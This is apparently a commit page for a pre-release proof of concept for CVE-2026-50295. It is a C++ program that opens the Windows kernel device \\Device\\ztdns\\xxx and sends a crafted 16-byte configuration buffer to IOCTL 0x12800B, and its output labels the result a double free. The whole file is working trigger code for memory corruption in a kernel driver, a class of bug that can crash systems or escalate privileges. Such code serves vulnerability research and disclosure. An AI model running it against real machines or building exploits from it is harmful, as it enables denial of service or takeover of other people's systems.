Upload files to "CVE-2026-50295_pre-release"
This commit is contained in:
@@ -0,0 +1,126 @@
|
|||||||
|
// MyFaultTest.cpp : This file contains the 'main' function. Program execution begins and ends there.
|
||||||
|
//
|
||||||
|
#include <iostream>
|
||||||
|
#include <Windows.h>
|
||||||
|
|
||||||
|
#include "ntdll.h"
|
||||||
|
#pragma comment(lib, "ntdll")
|
||||||
|
|
||||||
|
#include <shlwapi.h>
|
||||||
|
#pragma comment(lib, "Shlwapi.lib")
|
||||||
|
|
||||||
|
struct _ZT_GLOBAL_PROPERTIES
|
||||||
|
{
|
||||||
|
bool fEnableFilters;
|
||||||
|
bool fPersistFilters;
|
||||||
|
bool fAuditMode;
|
||||||
|
bool fAllowMdns;
|
||||||
|
bool fAllowPlaintextDns;
|
||||||
|
bool fBlockLocalIps;
|
||||||
|
bool fAllowIcsDhcpServer;
|
||||||
|
DWORD dwUnicastLifetime;
|
||||||
|
DWORD MaxRecordAge;
|
||||||
|
};
|
||||||
|
|
||||||
|
|
||||||
|
_ZT_GLOBAL_PROPERTIES GetConfig() {
|
||||||
|
|
||||||
|
_ZT_GLOBAL_PROPERTIES Properties = { 0 };
|
||||||
|
|
||||||
|
WCHAR szIniPath[MAX_PATH + 1] = { 0 };
|
||||||
|
|
||||||
|
GetModuleFileName(NULL, szIniPath, MAX_PATH);
|
||||||
|
PathRemoveFileSpec(szIniPath);
|
||||||
|
PathAppendW(szIniPath, L"ztdns.ini");
|
||||||
|
|
||||||
|
|
||||||
|
UINT fEnableFilters = GetPrivateProfileIntW(L"Config", L"fEnableFilters", 0, szIniPath);
|
||||||
|
UINT fPersistFilters = GetPrivateProfileIntW(L"Config", L"fPersistFilters", 0, szIniPath);
|
||||||
|
UINT fAuditMode = GetPrivateProfileIntW(L"Config", L"fAuditMode", 0, szIniPath);
|
||||||
|
UINT fAllowMdns = GetPrivateProfileIntW(L"Config", L"fAllowMdns", 0, szIniPath);
|
||||||
|
UINT fAllowPlaintextDns = GetPrivateProfileIntW(L"Config", L"fAllowPlaintextDns", 0, szIniPath);
|
||||||
|
UINT fBlockLocalIps = GetPrivateProfileIntW(L"Config", L"fBlockLocalIps", 0, szIniPath);
|
||||||
|
UINT fAllowIcsDhcpServer = GetPrivateProfileIntW(L"Config", L"fAllowIcsDhcpServer", 0, szIniPath);
|
||||||
|
UINT dwUnicastLifetime = GetPrivateProfileIntW(L"Config", L"dwUnicastLifetime", 0, szIniPath);
|
||||||
|
UINT MaxRecordAge = GetPrivateProfileIntW(L"Config", L"MaxRecordAge", 0, szIniPath);
|
||||||
|
|
||||||
|
|
||||||
|
Properties.fEnableFilters = fEnableFilters;
|
||||||
|
Properties.fPersistFilters = fPersistFilters;
|
||||||
|
Properties.fAuditMode = fAuditMode;
|
||||||
|
Properties.fAllowMdns = fAllowMdns;
|
||||||
|
Properties.fAllowPlaintextDns = fAllowPlaintextDns;
|
||||||
|
Properties.fBlockLocalIps = fBlockLocalIps;
|
||||||
|
Properties.fAllowIcsDhcpServer = fAllowIcsDhcpServer;
|
||||||
|
Properties.dwUnicastLifetime = dwUnicastLifetime;
|
||||||
|
Properties.MaxRecordAge = MaxRecordAge;
|
||||||
|
|
||||||
|
return Properties;
|
||||||
|
}
|
||||||
|
|
||||||
|
void ZtSetGlobalProperties(IN HANDLE hDevice) {
|
||||||
|
|
||||||
|
DWORD InputBufferLength = 0x10;
|
||||||
|
PVOID InputBuffer = malloc(InputBufferLength);
|
||||||
|
|
||||||
|
DWORD OutputBufferLength = 0x10;
|
||||||
|
PVOID OutputBuffer = malloc(OutputBufferLength);
|
||||||
|
|
||||||
|
memset(InputBuffer, 0, InputBufferLength);
|
||||||
|
memset(OutputBuffer, 0, OutputBufferLength);
|
||||||
|
|
||||||
|
|
||||||
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||||
|
|
||||||
|
_ZT_GLOBAL_PROPERTIES* pProperties = (_ZT_GLOBAL_PROPERTIES*)InputBuffer;
|
||||||
|
|
||||||
|
_ZT_GLOBAL_PROPERTIES Properties = GetConfig();
|
||||||
|
|
||||||
|
*pProperties = Properties;
|
||||||
|
|
||||||
|
NTSTATUS Status = NtDeviceIoControlFile(
|
||||||
|
hDevice,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
NULL,
|
||||||
|
&IoStatusBlock,
|
||||||
|
0x12800B,
|
||||||
|
InputBuffer,
|
||||||
|
InputBufferLength,
|
||||||
|
OutputBuffer,
|
||||||
|
OutputBufferLength);
|
||||||
|
printf("DoubleFree Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);
|
||||||
|
|
||||||
|
for (int i = 0; i < OutputBufferLength; ++i) {
|
||||||
|
printf("%x", *((char*)OutputBuffer + i));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
HANDLE OpenDevice() {
|
||||||
|
HANDLE hDevice = NULL;
|
||||||
|
|
||||||
|
PCWSTR lpcwName = L"\\Device\\ztdns\\xxx";
|
||||||
|
UNICODE_STRING usName = { 0 };
|
||||||
|
|
||||||
|
RtlInitUnicodeString(&usName, (PWSTR)lpcwName);
|
||||||
|
|
||||||
|
OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
|
||||||
|
InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
|
||||||
|
IO_STATUS_BLOCK IoStatusBlock = { 0 };
|
||||||
|
|
||||||
|
NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0,
|
||||||
|
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, 0, NULL, 0);
|
||||||
|
|
||||||
|
printf("OpenDevice Status=0x%x\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, hDevice, GetLastError(), IoStatusBlock.Information);
|
||||||
|
|
||||||
|
return hDevice;
|
||||||
|
}
|
||||||
|
|
||||||
|
int wmain(int argc, WCHAR* argv[])
|
||||||
|
{
|
||||||
|
HANDLE hDevice = OpenDevice();
|
||||||
|
|
||||||
|
ZtSetGlobalProperties(hDevice);
|
||||||
|
|
||||||
|
getchar();
|
||||||
|
}
|
||||||
Binary file not shown.
Reference in New Issue
Block a user